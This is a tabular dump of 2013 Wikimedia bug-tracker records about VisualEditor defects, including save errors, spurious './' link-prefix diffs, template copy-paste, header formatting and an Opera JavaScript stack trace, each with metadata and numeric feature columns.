*** This bug has been marked as a duplicate of bug 50471 ***",,,1372620610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-adbbasada34enlaaq6ns,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50471 ***"
52437,"VisualEditor: ""Error saving data to server"" but actually successful, and spurious diff","I twice got the error alert box when saving.  However, it turns out that it did save both times.  The first time, it did the intended edit (https://en.wikipedia.org/w/index.php?title=Participants_in_World_War_II&diff=562174851&oldid=561500927).  The second time, it did a dirty diff for a pipe character (&#124; -> <nowiki>|</nowiki>) in a section of the page I didn't edit.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372548840,1385380712.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-qzi73sz5voocgvogf6kk,task_description,resolved,True,c1,2,True,False,False,-1,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,2.0,1.0,10.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,7.0,6.0,2.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,3.303370786516854,0.651685393258427,"I twice got the error alert box when saving.  However, it turns out that it did save both times.  The first time, it did the intended edit (URL  The second time, it did a dirty diff for a pipe character (&#124; -> <nowiki>|</nowiki>) in a section of the page I didn't edit.

--------------------------
**Version**: unspecified
**Severity**: normal"
239309,"VisualEditor: ""Error saving data to server"" but actually successful, and spurious diff",We have tweaked the time-out code so this shouldn't happen in future; sorry for the disruption. Please re-open if it recurs…,,,1385380712,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzi73sz5voocgvogf6kk,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.586206896551724,0.9310344827586207,We have tweaked the time-out code so this shouldn't happen in future; sorry for the disruption. Please re-open if it recurs…
52428,Preserve wiki link href with ././ prefix,"The following HTML does not seem to properly round-trip through VE:

<p><a rel=""mw:WikiLink"" href=""././Foo"">./Foo</a></p>

While the ././ prefix is not ideal (see Parsoid bug 50426) VE should still preserve the href on unmodified content. Instead, it seems to prefix another ./, which then results in diffs like this one:

https://en.wikipedia.org/w/index.php?title=DreamWorks_Animation&curid=1509817&diff=562129988&oldid=562129729

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372526940,1372887258.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-q22fxzgily436ad4iq5g,task_description,declined,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,13.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,8.0,7.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,4.141176470588236,0.7529411764705882,"The following HTML does not seem to properly round-trip through VE:

<p><a rel=""mw:WikiLink"" href=""././Foo"">./Foo</a></p>

While the ././ prefix is not ideal (see Parsoid bug 50426) VE should still preserve the href on unmodified content. Instead, it seems to prefix another ./, which then results in diffs like this one:

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
238558,Preserve wiki link href with ././ prefix,"My problem is still occurring. I've now created bug 50720 for the specific issue I'm seeing. The latest occurrence was 05:07, 4 July 2013 
https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009",,,1372920044,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,10.0,3.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.806451612903226,0.9354838709677419,"My problem is still occurring. I've now created bug 50720 for the specific issue I'm seeing. The latest occurrence was 05:07, 4 July 2013 
URL"
238555,Preserve wiki link href with ././ prefix,Note that I also deployed a fix for bug 50426 just before I closed this bug. That will avoid triggering this in VE even if there is still a bug.,,,1372887258,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,16.0,6.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,16.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.59375,0.8125,Note that I also deployed a fix for bug 50426 just before I closed this bug. That will avoid triggering this in VE even if there is still a bug.
238552,Preserve wiki link href with ././ prefix,"WORKSFORME is not good enough for a resolution for this bug. This seems to be quite a rare bug which I've only seen in edits with the visualeditor-needcheck tag

https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor-needcheck 

Looking thorough that this edit
https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771

introduced the bad markup and that was only a couple of hours ago.",,,1372882310,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,5.0,10.0,2.0,2.0,19.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.896551724137931,0.7931034482758621,"WORKSFORME is not good enough for a resolution for this bug. This seems to be quite a rare bug which I've only seen in edits with the visualeditor-needcheck tag

URL 

Looking thorough that this edit
URL

introduced the bad markup and that was only a couple of hours ago."
238548,Preserve wiki link href with ././ prefix,"It worked at http://en.wikipedia.org/wiki/User:Catrope/Shrek?veaction=edit though, so closing as working.",,,1372880388,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.5454545454545454,1.0,"It worked at URL though, so closing as working."
238541,Preserve wiki link href with ././ prefix,"This seems to also seem to replace spaces with underscores, and mangles category links. EG changing [[Category:House (season 7) episodes]] to [[./Category:House_(season_7)_episodes]]
https://en.wikipedia.org/w/index.php?title=Out_of_the_Chute&diff=prev&oldid=562623071",,,1372821570,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,18.0,4.125,0.775,"This seems to also seem to replace spaces with underscores, and mangles category links. EG changing [[Category:House (season 7) episodes]] to [[./Category:House_(season_7)_episodes]]
URL"
238533,Preserve wiki link href with ././ prefix,"Those prefixes actually seem to have been inserted by VE:
https://en.wikipedia.org/w/index.php?title=DreamWorks_Animation&curid=1509817&diff=562129729&oldid=562106766",,,1372527319,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Those prefixes actually seem to have been inserted by VE:
URL"
52421,Feature request: permit copy-paste of templates from history,"Taken from VisualEditor feedback page:

Trying when editing articles to think ""Could I use VE for this?"" I came on an article where the {{AfD}} template had been removed and needed to be restored. The easiest way to get that right is to call up from the history a version with the template in place, and copy it from there to the current version. This doesn't seem possible in VE: after selecting the template so that it is highlighted, Ctrl-C doesn't copy it, and right-click doesn't offer a ""Copy"" option. JohnCD (talk) 21:29, 28 June 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372513920,1373407947.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mystbxhb36nxyv6pxcfr,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.5,2.0,3.5,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,4.5,9.5,0.0,2.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,0.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,5.0,2.0,11.5,2.5,1.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,9.5,5.0,0.5,2.5,0.0,3.0,0.0,1.0,1.5,0.0,1.5,0.0,0.5,0.0,3.6132990867579906,0.7444824961948249,"Taken from VisualEditor feedback page:

Trying when editing articles to think ""Could I use VE for this?"" I came on an article where the {{AfD}} template had been removed and needed to be restored. The easiest way to get that right is to call up from the history a version with the template in place, and copy it from there to the current version. This doesn't seem possible in VE: after selecting the template so that it is highlighted, Ctrl-C doesn't copy it, and right-click doesn't offer a ""Copy"" option. JohnCD (talk) 21:29, 28 June 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal"
238111,Feature request: permit copy-paste of templates from history,"This will be solved by bug 41193 when that is fixed; merging to that.

*** This bug has been marked as a duplicate of bug 41193 ***",,,1373407947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.1176470588235294,0.7058823529411765,"This will be solved by bug 41193 when that is fixed; merging to that.

*** This bug has been marked as a duplicate of bug 41193 ***"
238106,Feature request: permit copy-paste of templates from history,"I believe Maggie means copying the VisualEditor representation of a template, not copying wikitext.",,,1373407882,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,5.375,0.9375,"I believe Maggie means copying the VisualEditor representation of a template, not copying wikitext."
238102,Feature request: permit copy-paste of templates from history,"Even if you could paste it in, that wouldn't do any good as the VE would surround the template with <nowiki> tags. Entering any form of wikisyntax in the VE currently results in the editor thinking that you want the literal text to be displayed. This bug therefore (partly) depends on that bug being fixed too.",,,1372805568,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,False,,,0,,3.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,5.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.923076923076923,0.7692307692307693,"Even if you could paste it in, that wouldn't do any good as the VE would surround the template with <nowiki> tags. Entering any form of wikisyntax in the VE currently results in the editor thinking that you want the literal text to be displayed. This bug therefore (partly) depends on that bug being fixed too."
52418,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"If a header line is preceded by an empty line, and one tries to remove that empty line by placing the cursor at the beginning of the header line and hitting Delete, the empty line is removed as expected, but the header line turns into Paragraph formatting, which is unexpected and incorrect.

Note that the behavior is correct if the line preceding the header line is *not* empty: in that case we want to merge the header line with the previous line, and the header formatting should be removed.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50995",Needs Triage,90.0,1372507500,1384945237.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-dwm6neygnm5atdz5p2ls,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,1.0,1.5,1.5,7.5,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,4.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.5,14.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.5,6.0,2.0,3.0,9.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,1.0,7.5,1.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,3.8828125,0.59375,"If a header line is preceded by an empty line, and one tries to remove that empty line by placing the cursor at the beginning of the header line and hitting Delete, the empty line is removed as expected, but the header line turns into Paragraph formatting, which is unexpected and incorrect.

Note that the behavior is correct if the line preceding the header line is *not* empty: in that case we want to merge the header line with the previous line, and the header formatting should be removed.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
237967,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"The initial behaviour was, I believe, fixed some time ago; the rest of the bug (as now stated in the title) is intentional behaviour. Marking as FIXED.",,,1384945237,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwm6neygnm5atdz5p2ls,task_subcomment,,True,c1,3,True,,,20,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.676470588235294,0.8235294117647058,"The initial behaviour was, I believe, fixed some time ago; the rest of the bug (as now stated in the title) is intentional behaviour. Marking as FIXED."
237959,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"Sorry: I should have said ""Backspace"", not ""Delete"".",,,1372508092,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-dwm6neygnm5atdz5p2ls,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,13.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,"Sorry: I should have said ""Backspace"", not ""Delete""."
52417,VisualEditor does not load on Opera when debugging with Dragonfly,"Would you believe that.

[6/29/2013 1:44:17 PM] JavaScript - https://pl.wikipedia.org/wiki/Gródek_(obwód_lwowski)?veaction=edit
Event thread: readystatechange
Uncaught exception: Error: WRONG_ARGUMENTS_ERRError thrown at line 39, column 4 in <anonymous function: ve.copyDomElements>(domElement) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130629T021004Z&*:
    return doc ? doc.importNode(domElement, true) : domElement.cloneNode(true);
called from line 38, column 3 in <anonymous function: ve.copyDomElements>(domElements, doc) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130629T021004Z&*:
    return domElements.map(function(domElement) {
called from line 9721, column 3 in <anonymous function: ve.ce.GeneratedContentNode.prototype.onUpdate>() in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    this.$.empty().append(ve.copyDomElements(store.value(index), doc));
called from line 9711, column 2 in VeCeGeneratedContentNode() in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    this.onUpdate();
called via Function.prototype.call() from line 10325, column 2 in VeCeMWTransclusionNode(model, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    ve.ce.GeneratedContentNode.call(this);
called via Function.prototype.call() from line 10366, column 2 in VeCeMWTransclusionBlockNode(model) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    ve.ce.MWTransclusionNode.call(this, model);
called via Function.prototype.apply() from line 50, column 2 in <anonymous function: ve.Factory.prototype.create>(name) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    constructor.apply(obj, args);
called from line 8132, column 4 in <anonymous function: ve.ce.BranchNode.prototype.onSplice>(index) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    args[i] = ve.ce.nodeFactory.create(args[i].getType(), args[i]);
called via Function.prototype.apply() from line 8089, column 2 in VeCeBranchNode(model, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    this.onSplice.apply(this, [0, 0].concat(model.getChildren()));
called via Function.prototype.call() from line 9824, column 2 in VeCeDocumentNode(model, surface, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
    ve.ce.BranchNode.call(this, model, config);

At this point `store.value(index)` is [undefined, undefined] on Opera, but [<span...>, <dl...>] on Firefox. Since `index` is not undefined, this would indicate some sort of an internal inconsistency.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372507500,1372557668.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_description,resolved,True,c1,2,True,False,True,-1,,0.25,0.0,0.0,0.0,0.25,3.5,0.25,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,10.25,0.0,0.0,0.0,0.25,0.0,2.25,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.0,0.0,0.0,0.0,0.0,9.25,0.5,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.25,0.5,10.75,0.25,0.25,1.5,0.0,0.0,0.0,0.0,0.75,0.0,6.75,0.0,0.25,10.25,12.5,0.25,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,4.0,4.98009768009768,0.5011904761904762,"Would you believe that.

[6/29/2013 1:44:17 PM] JavaScript - URL
Event thread: readystatechange
Uncaught exception: Error: WRONG_ARGUMENTS_ERRError thrown at line 39, column 4 in <anonymous function: ve.copyDomElements>(domElement) in URL
    return doc ? doc.importNode(domElement, true) : domElement.cloneNode(true);
called from line 38, column 3 in <anonymous function: ve.copyDomElements>(domElements, doc) in URL
    return domElements.map(function(domElement) {
called from line 9721, column 3 in <anonymous function: ve.ce.GeneratedContentNode.prototype.onUpdate>() in URL
    this.$.empty().append(ve.copyDomElements(store.value(index), doc));
called from line 9711, column 2 in VeCeGeneratedContentNode() in URL
    this.onUpdate();
called via Function.prototype.call() from line 10325, column 2 in VeCeMWTransclusionNode(model, config) in URL
    ve.ce.GeneratedContentNode.call(this);
called via Function.prototype.call() from line 10366, column 2 in VeCeMWTransclusionBlockNode(model) in URL
    ve.ce.MWTransclusionNode.call(this, model);
called via Function.prototype.apply() from line 50, column 2 in <anonymous function: ve.Factory.prototype.create>(name) in URL
    constructor.apply(obj, args);
called from line 8132, column 4 in <anonymous function: ve.ce.BranchNode.prototype.onSplice>(index) in URL
    args[i] = ve.ce.nodeFactory.create(args[i].getType(), args[i]);
called via Function.prototype.apply() from line 8089, column 2 in VeCeBranchNode(model, config) in URL
    this.onSplice.apply(this, [0, 0].concat(model.getChildren()));
called via Function.prototype.call() from line 9824, column 2 in VeCeDocumentNode(model, surface, config) in URL
